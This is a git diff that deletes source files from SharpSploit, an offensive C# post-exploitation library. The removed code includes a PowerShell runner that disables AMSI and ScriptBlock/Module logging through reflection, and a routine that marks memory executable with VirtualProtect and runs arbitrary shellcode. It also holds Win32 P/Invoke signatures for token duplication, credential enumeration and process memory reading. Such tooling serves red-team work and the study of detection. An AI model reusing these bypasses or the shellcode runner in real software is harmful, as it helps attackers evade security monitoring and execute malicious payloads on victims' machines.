- IntPtr NameOffsetPtr = (IntPtr)((ulong)codebase + (ulong)expDir.AddressOfNames);
- NameOffsetPtr = (IntPtr)((ulong)NameOffsetPtr + (ulong)(i * Marshal.SizeOf(typeof(uint))));
- IntPtr NamePtr = (IntPtr)((ulong)codebase + (uint)Marshal.PtrToStructure(NameOffsetPtr, typeof(uint)));
-
- string Name = Marshal.PtrToStringAnsi(NamePtr);
- if (Name.Contains(funcName))
- {
- IntPtr AddressOfFunctions = (IntPtr)((ulong)codebase + (ulong)expDir.AddressOfFunctions);
- IntPtr OrdinalRvaPtr = (IntPtr)((ulong)codebase + (ulong)(expDir.AddressOfOrdinals + (i * Marshal.SizeOf(typeof(UInt16)))));
- UInt16 FuncIndex = (UInt16)Marshal.PtrToStructure(OrdinalRvaPtr, typeof(UInt16));
- IntPtr FuncOffsetLocation = (IntPtr)((ulong)AddressOfFunctions + (ulong)(FuncIndex * Marshal.SizeOf(typeof(UInt32))));
- IntPtr FuncLocationInMemory = (IntPtr)((ulong)codebase + (uint)Marshal.PtrToStructure(FuncOffsetLocation, typeof(UInt32)));
- return FuncLocationInMemory;
- }
- }
- return IntPtr.Zero;
- }
-
- private static T FromBinaryReader(BinaryReader reader)
- {
- // Read in a byte array
- byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
-
- // Pin the managed memory while, copy it out the data, then unpin it
- GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
- T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
- handle.Free();
-
- return theStructure;
- }
-
- private static IntPtr IntPtrAdd(IntPtr a, int b)
- {
- IntPtr ptr = new IntPtr(a.ToInt64() + b);
- return ptr;
- }
-
- public struct IMAGE_DOS_HEADER
- { // DOS .EXE header
- public UInt16 e_magic; // Magic number
- public UInt16 e_cblp; // Bytes on last page of file
- public UInt16 e_cp; // Pages in file
- public UInt16 e_crlc; // Relocations
- public UInt16 e_cparhdr; // Size of header in paragraphs
- public UInt16 e_minalloc; // Minimum extra paragraphs needed
- public UInt16 e_maxalloc; // Maximum extra paragraphs needed
- public UInt16 e_ss; // Initial (relative) SS value
- public UInt16 e_sp; // Initial SP value
- public UInt16 e_csum; // Checksum
- public UInt16 e_ip; // Initial IP value
- public UInt16 e_cs; // Initial (relative) CS value
- public UInt16 e_lfarlc; // File address of relocation table
- public UInt16 e_ovno; // Overlay number
- public UInt16 e_res_0; // Reserved words
- public UInt16 e_res_1; // Reserved words
- public UInt16 e_res_2; // Reserved words
- public UInt16 e_res_3; // Reserved words
- public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
- public UInt16 e_oeminfo; // OEM information; e_oemid specific
- public UInt16 e_res2_0; // Reserved words
- public UInt16 e_res2_1; // Reserved words
- public UInt16 e_res2_2; // Reserved words
- public UInt16 e_res2_3; // Reserved words
- public UInt16 e_res2_4; // Reserved words
- public UInt16 e_res2_5; // Reserved words
- public UInt16 e_res2_6; // Reserved words
- public UInt16 e_res2_7; // Reserved words
- public UInt16 e_res2_8; // Reserved words
- public UInt16 e_res2_9; // Reserved words
- public UInt32 e_lfanew; // File address of new exe header
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct IMAGE_DATA_DIRECTORY
- {
- public UInt32 VirtualAddress;
- public UInt32 Size;
- }
-
- [StructLayout(LayoutKind.Sequential, Pack = 1)]
- public struct IMAGE_OPTIONAL_HEADER32
- {
- public UInt16 Magic;
- public Byte MajorLinkerVersion;
- public Byte MinorLinkerVersion;
- public UInt32 SizeOfCode;
- public UInt32 SizeOfInitializedData;
- public UInt32 SizeOfUninitializedData;
- public UInt32 AddressOfEntryPoint;
- public UInt32 BaseOfCode;
- public UInt32 BaseOfData;
- public UInt32 ImageBase;
- public UInt32 SectionAlignment;
- public UInt32 FileAlignment;
- public UInt16 MajorOperatingSystemVersion;
- public UInt16 MinorOperatingSystemVersion;
- public UInt16 MajorImageVersion;
- public UInt16 MinorImageVersion;
- public UInt16 MajorSubsystemVersion;
- public UInt16 MinorSubsystemVersion;
- public UInt32 Win32VersionValue;
- public UInt32 SizeOfImage;
- public UInt32 SizeOfHeaders;
- public UInt32 CheckSum;
- public UInt16 Subsystem;
- public UInt16 DllCharacteristics;
- public UInt32 SizeOfStackReserve;
- public UInt32 SizeOfStackCommit;
- public UInt32 SizeOfHeapReserve;
- public UInt32 SizeOfHeapCommit;
- public UInt32 LoaderFlags;
- public UInt32 NumberOfRvaAndSizes;
-
- public IMAGE_DATA_DIRECTORY ExportTable;
- public IMAGE_DATA_DIRECTORY ImportTable;
- public IMAGE_DATA_DIRECTORY ResourceTable;
- public IMAGE_DATA_DIRECTORY ExceptionTable;
- public IMAGE_DATA_DIRECTORY CertificateTable;
- public IMAGE_DATA_DIRECTORY BaseRelocationTable;
- public IMAGE_DATA_DIRECTORY Debug;
- public IMAGE_DATA_DIRECTORY Architecture;
- public IMAGE_DATA_DIRECTORY GlobalPtr;
- public IMAGE_DATA_DIRECTORY TLSTable;
- public IMAGE_DATA_DIRECTORY LoadConfigTable;
- public IMAGE_DATA_DIRECTORY BoundImport;
- public IMAGE_DATA_DIRECTORY IAT;
- public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
- public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
- public IMAGE_DATA_DIRECTORY Reserved;
- }
-
- [StructLayout(LayoutKind.Sequential, Pack = 1)]
- public struct IMAGE_OPTIONAL_HEADER64
- {
- public UInt16 Magic;
- public Byte MajorLinkerVersion;
- public Byte MinorLinkerVersion;
- public UInt32 SizeOfCode;
- public UInt32 SizeOfInitializedData;
- public UInt32 SizeOfUninitializedData;
- public UInt32 AddressOfEntryPoint;
- public UInt32 BaseOfCode;
- public UInt64 ImageBase;
- public UInt32 SectionAlignment;
- public UInt32 FileAlignment;
- public UInt16 MajorOperatingSystemVersion;
- public UInt16 MinorOperatingSystemVersion;
- public UInt16 MajorImageVersion;
- public UInt16 MinorImageVersion;
- public UInt16 MajorSubsystemVersion;
- public UInt16 MinorSubsystemVersion;
- public UInt32 Win32VersionValue;
- public UInt32 SizeOfImage;
- public UInt32 SizeOfHeaders;
- public UInt32 CheckSum;
- public UInt16 Subsystem;
- public UInt16 DllCharacteristics;
- public UInt64 SizeOfStackReserve;
- public UInt64 SizeOfStackCommit;
- public UInt64 SizeOfHeapReserve;
- public UInt64 SizeOfHeapCommit;
- public UInt32 LoaderFlags;
- public UInt32 NumberOfRvaAndSizes;
-
- public IMAGE_DATA_DIRECTORY ExportTable;
- public IMAGE_DATA_DIRECTORY ImportTable;
- public IMAGE_DATA_DIRECTORY ResourceTable;
- public IMAGE_DATA_DIRECTORY ExceptionTable;
- public IMAGE_DATA_DIRECTORY CertificateTable;
- public IMAGE_DATA_DIRECTORY BaseRelocationTable;
- public IMAGE_DATA_DIRECTORY Debug;
- public IMAGE_DATA_DIRECTORY Architecture;
- public IMAGE_DATA_DIRECTORY GlobalPtr;
- public IMAGE_DATA_DIRECTORY TLSTable;
- public IMAGE_DATA_DIRECTORY LoadConfigTable;
- public IMAGE_DATA_DIRECTORY BoundImport;
- public IMAGE_DATA_DIRECTORY IAT;
- public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
- public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
- public IMAGE_DATA_DIRECTORY Reserved;
- }
-
- [StructLayout(LayoutKind.Sequential, Pack = 1)]
- public struct IMAGE_FILE_HEADER
- {
- public UInt16 Machine;
- public UInt16 NumberOfSections;
- public UInt32 TimeDateStamp;
- public UInt32 PointerToSymbolTable;
- public UInt32 NumberOfSymbols;
- public UInt16 SizeOfOptionalHeader;
- public UInt16 Characteristics;
- }
-
- [StructLayout(LayoutKind.Explicit)]
- public struct IMAGE_SECTION_HEADER
- {
- [FieldOffset(0)]
- [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
- public char[] Name;
- [FieldOffset(8)]
- public UInt32 VirtualSize;
- [FieldOffset(12)]
- public UInt32 VirtualAddress;
- [FieldOffset(16)]
- public UInt32 SizeOfRawData;
- [FieldOffset(20)]
- public UInt32 PointerToRawData;
- [FieldOffset(24)]
- public UInt32 PointerToRelocations;
- [FieldOffset(28)]
- public UInt32 PointerToLinenumbers;
- [FieldOffset(32)]
- public UInt16 NumberOfRelocations;
- [FieldOffset(34)]
- public UInt16 NumberOfLinenumbers;
- [FieldOffset(36)]
- public DataSectionFlags Characteristics;
-
- public string Section
- {
- get { return new string(Name); }
- }
- }
-
- [StructLayout(LayoutKind.Explicit)]
- public struct IMAGE_EXPORT_DIRECTORY
- {
- [FieldOffset(0)]
- public UInt32 Characteristics;
- [FieldOffset(4)]
- public UInt32 TimeDateStamp;
- [FieldOffset(8)]
- public UInt16 MajorVersion;
- [FieldOffset(10)]
- public UInt16 MinorVersion;
- [FieldOffset(12)]
- public UInt32 Name;
- [FieldOffset(16)]
- public UInt32 Base;
- [FieldOffset(20)]
- public UInt32 NumberOfFunctions;
- [FieldOffset(24)]
- public UInt32 NumberOfNames;
- [FieldOffset(28)]
- public UInt32 AddressOfFunctions;
- [FieldOffset(32)]
- public UInt32 AddressOfNames;
- [FieldOffset(36)]
- public UInt32 AddressOfOrdinals;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct IMAGE_BASE_RELOCATION
- {
- public uint VirtualAdress;
- public uint SizeOfBlock;
- }
- }
-}
diff --git a/Source/SharpSploit/Execution/Shell.cs b/Source/SharpSploit/Execution/Shell.cs
deleted file mode 100644
index b34a16a..0000000
--- a/Source/SharpSploit/Execution/Shell.cs
+++ /dev/null
@@ -1,125 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.Linq;
-using System.Reflection;
-using System.Diagnostics;
-using System.Management.Automation;
-
-namespace SharpSploit.Execution
-{
- ///
- /// Shell is a library for executing shell commands.
- ///
- public static class Shell
- {
- ///
- /// Executes specified PowerShell code using System.Management.Automation.dll and bypasses
- /// AMSI, ScriptBlock Logging, and Module Logging (but not Transcription Logging).
- ///
- /// PowerShell code to execute.
- /// Switch. If true, appends Out-String to the PowerShellCode to execute.
- /// Switch. If true, bypasses ScriptBlock and Module logging.
- /// Switch. If true, bypasses AMSI.
- /// Output of executed PowerShell.
- ///
- /// Credit for the AMSI bypass goes to Matt Graeber (@mattifestation). Credit for the ScriptBlock/Module
- /// logging bypass goes to Lee Christensen (@_tifkin).
- ///
- public static string PowerShellExecute(string PowerShellCode, bool OutString = true, bool BypassLogging = true, bool BypassAmsi = true)
- {
- if (PowerShellCode == null || PowerShellCode == "") return "";
-
- using (PowerShell ps = PowerShell.Create())
- {
- BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static;
- if (BypassLogging)
- {
- var PSEtwLogProvider = ps.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider");
- if (PSEtwLogProvider != null)
- {
- var EtwProvider = PSEtwLogProvider.GetField("etwProvider", flags);
- var EventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid());
- EtwProvider.SetValue(null, EventProvider);
- }
- }
- if (BypassAmsi)
- {
- var amsiUtils = ps.GetType().Assembly.GetType("System.Management.Automation.AmsiUtils");
- if (amsiUtils != null)
- {
- amsiUtils.GetField("amsiInitFailed", flags).SetValue(null, true);
- }
- }
- ps.AddScript(PowerShellCode);
- if (OutString) { ps.AddCommand("Out-String"); }
- var results = ps.Invoke();
- string output = String.Join(Environment.NewLine, results.Select(R => R.ToString()).ToArray());
- ps.Commands.Clear();
- return output;
- }
- }
-
- ///
- /// Executes a specified Shell command, optionally with an alternative username and password.
- /// Equates to `ShellExecuteWithPath(ShellCommand, "C:\\WINDOWS\\System32")`.
- ///
- /// The ShellCommand to execute, including any arguments.
- /// Optional alternative username to execute ShellCommand as.
- /// Optional alternative Domain of the username to execute ShellCommand as.
- /// Optional password to authenticate the username to execute the ShellCommand as.
- /// Ouput of the ShellCommand.
- public static string ShellExecute(string ShellCommand, string Username = "", string Domain = "", string Password = "")
- {
- return ShellExecuteWithPath(ShellCommand, "C:\\WINDOWS\\System32\\", Username, Domain, Password);
- }
-
- ///
- /// Executes a specified Shell command from a specified directory, optionally with an alternative username and password.
- ///
- /// The ShellCommand to execute, including any arguments.
- /// The Path of the directory from which to execute the ShellCommand.
- /// Optional alternative username to execute ShellCommand as.
- /// Optional alternative Domain of the username to execute ShellCommand as.
- /// Optional password to authenticate the username to execute the ShellCommand as.
- /// Output of the ShellCommand.
- public static string ShellExecuteWithPath(string ShellCommand, string Path, string Username = "", string Domain = "", string Password = "")
- {
- if (ShellCommand == null || ShellCommand == "") return "";
-
- string ShellCommandName = ShellCommand.Split(' ')[0];
- string ShellCommandArguments = "";
- if (ShellCommand.Contains(" "))
- {
- ShellCommandArguments = ShellCommand.Replace(ShellCommandName + " ", "");
- }
-
- Process shellProcess = new Process();
- if (Username != "")
- {
- shellProcess.StartInfo.UserName = Username;
- shellProcess.StartInfo.Domain = Domain;
- System.Security.SecureString SecurePassword = new System.Security.SecureString();
- foreach (char c in Password)
- {
- SecurePassword.AppendChar(c);
- }
- shellProcess.StartInfo.Password = SecurePassword;
- }
- shellProcess.StartInfo.FileName = ShellCommandName;
- shellProcess.StartInfo.Arguments = ShellCommandArguments;
- shellProcess.StartInfo.WorkingDirectory = Path;
- shellProcess.StartInfo.UseShellExecute = false;
- shellProcess.StartInfo.CreateNoWindow = true;
- shellProcess.StartInfo.RedirectStandardOutput = true;
- shellProcess.Start();
-
- string output = shellProcess.StandardOutput.ReadToEnd();
- shellProcess.WaitForExit();
-
- return output;
- }
- }
-}
\ No newline at end of file
diff --git a/Source/SharpSploit/Execution/ShellCode.cs b/Source/SharpSploit/Execution/ShellCode.cs
deleted file mode 100644
index ef319d8..0000000
--- a/Source/SharpSploit/Execution/ShellCode.cs
+++ /dev/null
@@ -1,48 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.Runtime.InteropServices;
-
-namespace SharpSploit.Execution
-{
- ///
- /// ShellCode includes a method for executing shellcode.
- ///
- public class ShellCode
- {
- [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
- private delegate Int32 Run();
-
- ///
- /// Executes a specified ShellCode byte array by copying it to pinned memory, modifying the memory
- /// permissions with VirtualProtect(), and executing with a .NET delegate.
- ///
- /// ShellCode byte array to execute.
- /// Boolean. True if execution succeeds, false otherwise.
- public static bool ShellCodeExecute(byte[] ShellCode)
- {
- try
- {
- GCHandle pinnedArray = GCHandle.Alloc(ShellCode, GCHandleType.Pinned);
- IntPtr ptr = pinnedArray.AddrOfPinnedObject();
- Marshal.Copy(ShellCode, 0, ptr, ShellCode.Length);
-
- uint flOldProtect = 0;
- if (!Win32.Kernel32.VirtualProtect(ptr, (UIntPtr)ShellCode.Length, 0x40, out flOldProtect))
- {
- return false;
- }
- Run del = (Run)Marshal.GetDelegateForFunctionPointer(ptr, typeof(Run));
- del();
- return true;
- }
- catch (Exception e)
- {
- Console.Error.WriteLine("ShellCodeExecute exception: " + e.Message);
- }
- return false;
- }
- }
-}
diff --git a/Source/SharpSploit/Execution/Win32.cs b/Source/SharpSploit/Execution/Win32.cs
deleted file mode 100644
index ddbb089..0000000
--- a/Source/SharpSploit/Execution/Win32.cs
+++ /dev/null
@@ -1,1137 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.Text;
-using System.Runtime.InteropServices;
-using MW32 = Microsoft.Win32;
-
-namespace SharpSploit.Execution
-{
-
- ///
- /// Win32 is a library of PInvoke signatures for Win32 API functions.
- ///
- ///
- /// A majority of this library is adapted from signatures found at www.pinvoke.net.
- ///
- public static class Win32
- {
- public static class Kernel32
- {
- public static uint MEM_COMMIT = 0x1000;
- public static uint MEM_RESERVE = 0x2000;
-
- [StructLayout(LayoutKind.Sequential)]
- public struct IMAGE_BASE_RELOCATION
- {
- public uint VirtualAdress;
- public uint SizeOfBlock;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct IMAGE_IMPORT_DESCRIPTOR
- {
- public uint OriginalFirstThunk;
- public uint TimeDateStamp;
- public uint ForwarderChain;
- public uint Name;
- public uint FirstThunk;
- }
-
- [DllImport("kernel32.dll")]
- public static extern IntPtr GetCurrentThread();
-
- [DllImport("kernel32.dll")]
- public static extern IntPtr GetCurrentProcess();
-
- [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
- public static extern IntPtr GetProcAddress(
- IntPtr hModule,
- string procName
- );
-
- [DllImport("kernel32.dll")]
- public static extern void GetSystemInfo(
- out WinBase._SYSTEM_INFO lpSystemInfo
- );
-
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern IntPtr GlobalSize(
- IntPtr hMem
- );
-
- [DllImport("kernel32.dll")]
- public static extern IntPtr OpenProcess(
- ProcessAccessFlags dwDesiredAccess,
- bool bInheritHandle,
- UInt32 dwProcessId
- );
-
- [DllImport("kernel32.dll")]
- public static extern Boolean OpenProcessToken(
- IntPtr hProcess,
- UInt32 dwDesiredAccess,
- out IntPtr hToken
- );
-
- [DllImport("kernel32.dll")]
- public static extern Boolean OpenThreadToken(
- IntPtr ThreadHandle,
- UInt32 DesiredAccess,
- Boolean OpenAsSelf,
- ref IntPtr TokenHandle
- );
-
- [DllImport("kernel32.dll")]
- public static extern IntPtr OpenThread(
- UInt32 dwDesiredAccess,
- Boolean bInheritHandle,
- UInt32 dwThreadId
- );
-
- [DllImport("kernel32.dll")]
- public static extern Boolean ReadProcessMemory(
- IntPtr hProcess,
- UInt32 lpBaseAddress,
- IntPtr lpBuffer,
- UInt32 nSize,
- ref UInt32 lpNumberOfBytesRead
- );
-
- [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
- public static extern Boolean ReadProcessMemory64(
- IntPtr hProcess,
- UInt64 lpBaseAddress,
- IntPtr lpBuffer,
- UInt64 nSize,
- ref UInt32 lpNumberOfBytesRead
- );
-
- [DllImport("kernel32.dll")]
- public static extern UInt32 SearchPath(
- String lpPath,
- String lpFileName,
- String lpExtension,
- UInt32 nBufferLength,
- [MarshalAs(UnmanagedType.LPTStr)]
- StringBuilder lpBuffer,
- ref IntPtr lpFilePart
- );
-
- [DllImport("kernel32.dll", EntryPoint = "VirtualQueryEx")]
- public static extern Int32 VirtualQueryEx32(
- IntPtr hProcess,
- IntPtr lpAddress,
- out WinNT._MEMORY_BASIC_INFORMATION32 lpBuffer,
- UInt32 dwLength
- );
-
- [DllImport("kernel32.dll", EntryPoint = "VirtualQueryEx")]
- public static extern Int32 VirtualQueryEx64(
- IntPtr hProcess,
- IntPtr lpAddress,
- out WinNT._MEMORY_BASIC_INFORMATION64 lpBuffer,
- UInt32 dwLength
- );
-
- [DllImport("kernel32.dll")]
- public static extern IntPtr VirtualAlloc(
- IntPtr lpStartAddr,
- uint size,
- uint flAllocationType,
- uint flProtect
- );
-
- [DllImport("kernel32.dll")]
- public static extern bool VirtualProtect(
- IntPtr lpAddress,
- UIntPtr dwSize,
- uint flNewProtect,
- out uint lpflOldProtect
- );
-
- [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
- public static extern IntPtr LoadLibrary(
- string lpFileName
- );
-
- [DllImport("kernel32.dll")]
- public static extern IntPtr CreateThread(
- IntPtr lpThreadAttributes,
- uint dwStackSize,
- IntPtr lpStartAddress,
- IntPtr param,
- uint dwCreationFlags,
- IntPtr lpThreadId
- );
-
- [DllImport("kernel32.dll")]
- public static extern UInt32 WaitForSingleObject(
- IntPtr hHandle,
- UInt32 dwMilliseconds
- );
-
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern IntPtr LocalFree(
- IntPtr hMem
- );
-
- [DllImport("kernel32.dll")]
- public static extern Boolean CloseHandle(
- IntPtr hProcess
- );
-
- [Flags]
- public enum ProcessAccessFlags : UInt32
- {
- // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
- PROCESS_ALL_ACCESS = 0x001F0FFF,
- PROCESS_CREATE_PROCESS = 0x0080,
- PROCESS_CREATE_THREAD = 0x0002,
- PROCESS_DUP_HANDLE = 0x0040,
- PROCESS_QUERY_INFORMATION = 0x0400,
- PROCESS_QUERY_LIMITED_INFORMATION = 0x1000,
- PROCESS_SET_INFORMATION = 0x0200,
- PROCESS_SET_QUOTA = 0x0100,
- PROCESS_SUSPEND_RESUME = 0x0800,
- PROCESS_TERMINATE = 0x0001,
- PROCESS_VM_OPERATION = 0x0008,
- PROCESS_VM_READ = 0x0010,
- PROCESS_VM_WRITE = 0x0020,
- SYNCHRONIZE = 0x00100000
- }
- }
-
- public static class Netapi32
- {
- [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
- public struct LOCALGROUP_USERS_INFO_0
- {
- [MarshalAs(UnmanagedType.LPWStr)] internal string name;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct LOCALGROUP_USERS_INFO_1
- {
- [MarshalAs(UnmanagedType.LPWStr)] public string name;
- [MarshalAs(UnmanagedType.LPWStr)] public string comment;
- }
-
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- public struct LOCALGROUP_MEMBERS_INFO_2
- {
- public IntPtr lgrmi2_sid;
- public int lgrmi2_sidusage;
- [MarshalAs(UnmanagedType.LPWStr)] public string lgrmi2_domainandname;
- }
-
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- public struct WKSTA_USER_INFO_1
- {
- public string wkui1_username;
- public string wkui1_logon_domain;
- public string wkui1_oth_domains;
- public string wkui1_logon_server;
- }
-
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- public struct SESSION_INFO_10
- {
- public string sesi10_cname;
- public string sesi10_username;
- public int sesi10_time;
- public int sesi10_idle_time;
- }
-
- public enum SID_NAME_USE : UInt16
- {
- SidTypeUser = 1,
- SidTypeGroup = 2,
- SidTypeDomain = 3,
- SidTypeAlias = 4,
- SidTypeWellKnownGroup = 5,
- SidTypeDeletedAccount = 6,
- SidTypeInvalid = 7,
- SidTypeUnknown = 8,
- SidTypeComputer = 9
- }
-
- [DllImport("netapi32.dll")]
- public static extern int NetLocalGroupEnum(
- [MarshalAs(UnmanagedType.LPWStr)] string servername,
- int level,
- out IntPtr bufptr,
- int prefmaxlen,
- out int entriesread,
- out int totalentries,
- ref int resume_handle
- );
-
- [DllImport("netapi32.dll")]
- public static extern int NetLocalGroupGetMembers(
- [MarshalAs(UnmanagedType.LPWStr)] string servername,
- [MarshalAs(UnmanagedType.LPWStr)] string localgroupname,
- int level,
- out IntPtr bufptr,
- int prefmaxlen,
- out int entriesread,
- out int totalentries,
- ref int resume_handle
- );
-
- [DllImport("netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
- public static extern int NetWkstaUserEnum(
- string servername,
- int level,
- out IntPtr bufptr,
- int prefmaxlen,
- out int entriesread,
- out int totalentries,
- ref int resume_handle
- );
-
- [DllImport("netapi32.dll", SetLastError = true)]
- public static extern int NetSessionEnum(
- [In, MarshalAs(UnmanagedType.LPWStr)] string ServerName,
- [In, MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
- [In, MarshalAs(UnmanagedType.LPWStr)] string UserName,
- int level,
- out IntPtr bufptr,
- int prefmaxlen,
- out int entriesread,
- out int totalentries,
- ref int resume_handle
- );
-
- [DllImport("netapi32.dll", SetLastError = true)]
- public static extern int NetApiBufferFree(IntPtr Buffer);
- }
-
- public static class Advapi32
- {
-
- // http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken
- public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
- public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
- public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
- public const UInt32 TOKEN_DUPLICATE = 0x0002;
- public const UInt32 TOKEN_IMPERSONATE = 0x0004;
- public const UInt32 TOKEN_QUERY = 0x0008;
- public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
- public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
- public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
- public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
- public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
- public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
- public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
- TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
- TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
- TOKEN_ADJUST_SESSIONID);
- public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY);
-
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean AdjustTokenPrivileges(
- IntPtr TokenHandle,
- Boolean DisableAllPrivileges,
- ref WinNT._TOKEN_PRIVILEGES NewState,
- UInt32 BufferLengthInBytes,
- ref WinNT._TOKEN_PRIVILEGES PreviousState,
- out UInt32 ReturnLengthInBytes
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean AllocateAndInitializeSid(
- ref WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority,
- byte nSubAuthorityCount,
- Int32 dwSubAuthority0,
- Int32 dwSubAuthority1,
- Int32 dwSubAuthority2,
- Int32 dwSubAuthority3,
- Int32 dwSubAuthority4,
- Int32 dwSubAuthority5,
- Int32 dwSubAuthority6,
- Int32 dwSubAuthority7,
- out IntPtr pSid
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean AllocateAndInitializeSid(
- ref WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority,
- byte nSubAuthorityCount,
- Int32 dwSubAuthority0,
- Int32 dwSubAuthority1,
- Int32 dwSubAuthority2,
- Int32 dwSubAuthority3,
- Int32 dwSubAuthority4,
- Int32 dwSubAuthority5,
- Int32 dwSubAuthority6,
- Int32 dwSubAuthority7,
- ref WinNT._SID pSid
- );
-
- [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- public static extern bool ConvertSidToStringSid(
- IntPtr Sid,
- out IntPtr StringSid
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean CreateProcessAsUser(
- IntPtr hToken,
- IntPtr lpApplicationName,
- IntPtr lpCommandLine,
- ref WinBase._SECURITY_ATTRIBUTES lpProcessAttributes,
- ref WinBase._SECURITY_ATTRIBUTES lpThreadAttributes,
- Boolean bInheritHandles,
- CREATION_FLAGS dwCreationFlags,
- IntPtr lpEnvironment,
- IntPtr lpCurrentDirectory,
- ref ProcessThreadsAPI._STARTUPINFO lpStartupInfo,
- out ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean CreateProcessAsUserW(
- IntPtr hToken,
- IntPtr lpApplicationName,
- IntPtr lpCommandLine,
- IntPtr lpProcessAttributes,
- IntPtr lpThreadAttributes,
- Boolean bInheritHandles,
- CREATION_FLAGS dwCreationFlags,
- IntPtr lpEnvironment,
- IntPtr lpCurrentDirectory,
- ref ProcessThreadsAPI._STARTUPINFO lpStartupInfo,
- out ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo
- );
-
- [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
- public static extern bool CreateProcessWithLogonW(
- String userName,
- String domain,
- String password,
- int logonFlags,
- String applicationName,
- String commandLine,
- int creationFlags,
- IntPtr environment,
- String currentDirectory,
- ref ProcessThreadsAPI._STARTUPINFO startupInfo,
- out ProcessThreadsAPI._PROCESS_INFORMATION processInformation
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean CreateProcessWithTokenW(
- IntPtr hToken,
- LOGON_FLAGS dwLogonFlags,
- IntPtr lpApplicationName,
- IntPtr lpCommandLine,
- CREATION_FLAGS dwCreationFlags,
- IntPtr lpEnvironment,
- IntPtr lpCurrentDirectory,
- ref ProcessThreadsAPI._STARTUPINFO lpStartupInfo,
- out ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean CredEnumerateW(
- String Filter,
- Int32 Flags,
- out Int32 Count,
- out IntPtr Credentials
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean CredFree(
- IntPtr Buffer
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean CredReadW(
- String target,
- WinCred.CRED_TYPE type,
- Int32 reservedFlag,
- out IntPtr credentialPtr
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean CredWriteW(
- ref WinCred._CREDENTIAL userCredential,
- UInt32 flags
- );
-
- [DllImport("advapi32.dll", SetLastError = true)]
- public static extern Boolean DuplicateTokenEx(
- IntPtr hExistingToken,
- UInt32 dwDesiredAccess,
- ref WinBase._SECURITY_ATTRIBUTES lpTokenAttributes,
- WinNT._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
- WinNT.TOKEN_TYPE TokenType,
- out IntPtr phNewToken
- );
-
